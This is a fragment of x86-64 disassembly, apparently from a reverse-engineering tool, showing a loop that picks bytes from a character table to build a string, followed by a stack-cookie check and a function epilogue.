mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140026450
shr rcx, 0x20
lea eax, [rcx + r12]
xor eax, r12d
lea rcx, [rsp + 0x30]
cmp r13, 0xf
cmova rcx, r15
cdqe
movzx r9d, byte [rax + rcx]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x1400264af
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x1400264a4
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400264bf
xor r8d, r8d
mov edx, 1
mov rcx, rbx
call fcn.140032650
sub rbp, 1
jne 0x140026410
cmp r13, 0xf
jbe 0x1400264fc
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400264f4
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026530
mov rcx, r15
call fcn.140036a4c
mov rax, rbx
mov rcx, qword [rsp + 0x13e0]
xor rcx, rsp
call fcn.1400369f0
lea r11, [rsp + 0x13f0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.14003c954
int3